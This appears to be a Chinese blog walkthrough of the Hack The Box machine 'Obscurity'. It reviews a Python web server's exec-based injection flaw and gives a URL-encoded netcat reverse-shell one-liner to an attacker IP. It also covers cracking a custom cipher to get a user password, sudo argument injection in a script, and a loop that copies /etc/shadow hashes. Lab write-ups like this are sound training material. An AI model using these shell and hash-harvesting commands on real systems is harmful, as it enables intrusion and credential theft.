HTB-Obscurity

HTB-Obscurity

  • 信息收集
  • 8080端口
  • 立足
  • www-data -> robert
  • robert -> root
    • sudo 注入
    • hash捕获

HTB-Obscurity_第1张图片

信息收集

HTB-Obscurity_第2张图片

8080端口

HTB-Obscurity_第3张图片
”如果攻击者不知道你在使用什么软件,你就不会被黑客攻击!“,目标对web的指纹做了某些处理。
在这里插入图片描述

“‘SuperSecureServer.py’ in the secret development directory”,接下来我们试试寻找这个秘密开发目录在哪里。
HTB-Obscurity_第4张图片
因为网站做了处理,所以目录扫描没法获取更多信息。尝试对SuperSecureServer.py’进行FUZZ。很显然失败了。
HTB-Obscurity_第5张图片
现在收集已有的词汇信息做一个字典来试试。目前我们有的词汇:

dev
develop
development
devs
security
secure
secret

然后对表进行首字母大写、全大写做一个小字典。

HTB-Obscurity_第6张图片
HTB-Obscurity_第7张图片

查看网站源码。
HTB-Obscurity_第8张图片

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, 0client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

其中在serveDoc函数中有两句有注释的代码,并且还有exec函数。这意味着找到什么地方传进来的path,如果能控制path的值那这个exec函数就十分危险。

 info = "output = 'Document: {}'"	 # Keep the output for later debug
 exec(info.format(path))			 # This is how you do string formatting, right?

serveDoc接收一个path参数,再对path进行处理得到新的path。

path = urllib.parse.unquote(path)

urllib.parse会解析url地址。
在这里插入图片描述
urllib.parse.unquote会解析url编码过后的url地址。
在这里插入图片描述

handleRequest里面调用了serveDoc,跟进handleRequest函数看看。

def handleRequest(self, request, conn, address):
        if request.good:-
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]

需要request.good为真才会有可能控制,为假就直接写入/errors/400.html了。跟进后发现listenToClient函数。

  def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)//处于一个无限循环中
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

跟进listenToClientclass Server

class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept() #accept()接收客户端的请求并返回一个套接字给client,连接地址给address。
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()   

OK最后一步找到定义的位置。

class Request:
    def __init__(self, request):
        self.good = True 						#一来self.good为真
        try:
            request = self.parseRequest(request)       
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]    #对method、doc、vers、header、body进行获取,如果是正确的格式就不会让self.good改变。
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

OK让我们再来梳理一遍,我们想控制serveDoc函数里面的exec(info.format(path)),path就是我们的url地址;那么是谁调用了serveDoc,是handleRequest,在handleRequest函数中需要满足request.good为真才能完成调用;那么又是谁调用了handleRequest以及是谁在控制request.good,是listenToClient调用了handleRequest,并且通过Request类来控制request.good,所以我们只要保证数据该有啥有啥就行了。

现在来测试一下
info = “output = ‘Document: {}’” # Keep the output for later debug
exec(info.format(path))

HTB-Obscurity_第9张图片

经过不断地调整找到了注入代码。

HTB-Obscurity_第10张图片

立足

ping 测试成功。
HTB-Obscurity_第11张图片

rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>&1|nc%2010.10.14.31%204443%20>/tmp/f

HTB-Obscurity_第12张图片

www-data -> robert

在robertde家目录下有几个很有意思的文件。
HTB-Obscurity_第13张图片

check.txt
在这里插入图片描述
用我的key通过SuperSecureCrypt.py加密check.txt后会产生out.txt。
在这里插入图片描述

相当于check.txt + KEY -> SuperSecureCrypt.py= out.txt。我们都知道了其中三个,那这个key应该能很好推出来。
HTB-Obscurity_第14张图片
明文-钥匙的ASCII码小于255,因为我们明文中最大的字符是y,ASCII码是121。而key的ASCII码有三种可能,每一种都不会超过255,所以就相当于chr(ord(newChr) + ord(keyChr))
HTB-Obscurity_第15张图片
查看发现因为负数,chr无法处理。
HTB-Obscurity_第16张图片
加上绝对值

HTB-Obscurity_第17张图片
似乎这一长串就是key。

alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal

HTB-Obscurity_第18张图片

robert:SecThruObsFTW

HTB-Obscurity_第19张图片

robert -> root

sudo 注入

id有adm组,adm组允许访问/var/log日志文件,有时候可能会导致有些日志文件泄露敏感信息。
HTB-Obscurity_第20张图片

在这里插入图片描述
查看一下BetterSSH.py的权限呢。
在这里插入图片描述

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
#生成8位随机小写大写数字组合的字符串
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")
	#获取user和passW
    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    #获取拥有密码的用户并将用户密码给data,其中包括很多为空的信息。
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)
            #把data中空的信息过滤掉并附加到passwords中。

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    #对passwords的内容再次进行处理,每一个数据之间添加一个\n,。同一用户之间数据会有一个换行符相隔,不同用户数据会有多个换行符。
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
       	#在/tmp/SSH目录下创建一个以上面path生成的字符串为名的文档,并将处理好的内容写进去。
    time.sleep(.1)	#系统挂起0.1秒
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:] #如果p[0]和前面我们输入的user一致才能进入此句,密码哈希的盐和密码分开存储。
            break

    if salt == "":				#盐为空代表没密码,进行清理工作并退出。
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
        
    salt = '$6$'+salt+'$'		#重新修改hash类型,$6$为sha512crypt。
    realPass = salt + realPass	#重新组装密码hash

    hash = crypt.crypt(passW, salt)	#调用crypt对我们输入的密码用新盐进行加密。

    if hash == realPass:		#如果我们输入的密码通过加密后等于前面获取的/etc/shadows的hash则完成验证。
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")		#后面就是验证失败的处理方法
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))						#将command和sudo -u root command拼装一起。
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
                 

大致了解完脚本的工作方式后脑子里应该有一个初步的进攻模型了,先寻找我们能够控制的地方。

  • session[‘user’] = input("Enter username: ")中的user
  • passW = input("Enter password: ")中的passW

user第一次使用是在 if p[0] == session['user']:,第二次是在完成hash验证后使用。passW在 hash = crypt.crypt(passW, salt)中被使用。可能性最大的应该是user,passW就只被用来加密,而user可以被用来拼接输入的命令的cmd = ['sudo', '-u', session['user']]

运行程序看看。
HTB-Obscurity_第21张图片
发现没有/tmp/SSH文件。

在这里插入图片描述
创建好文件后并使用robert凭证验证。
HTB-Obscurity_第22张图片
来想想怎么注入sudo,最容易想到应该就是下图这样的吧。
HTB-Obscurity_第23张图片
要注入sudo的锁是 if p[0] == session['user']:看了一下python的文档,貌似没有像php弱等于的问题。是时候跳出兔子洞了。再次回头会发现有第三个输入点。就是command。

HTB-Obscurity_第24张图片
原本是sudo -u robert command,我们输入 id;sudo -u root id,来组成sudo -u robert id;sudo -u root id。
在这里插入图片描述

脚本不支持分号连接语句。
在这里插入图片描述
经过测试发现sudo -u kali id root可以使用root权限来执行id。

在这里插入图片描述
并且发现是按id后面的用户来执行对应权限。

在这里插入图片描述
但是这个有一个问题,只支持没有参数的命令,不然会把root当作扩展。
HTB-Obscurity_第25张图片
改成-u root id也能成功,但是在攻击机上无法完成。
HTB-Obscurity_第26张图片

HTB-Obscurity_第27张图片

hash捕获

当我们输入的密码没有通过验证后,就会将生成在/tmp/SSH的某个文件删除,那个文件存有重新处理过的/etc/shadow内容。
HTB-Obscurity_第28张图片

while true;do cat * /tmp/SSH >> /tmp/shadow;done

HTB-Obscurity_第29张图片


HTB-Obscurity_第30张图片

你可能感兴趣的:(HTB,其他)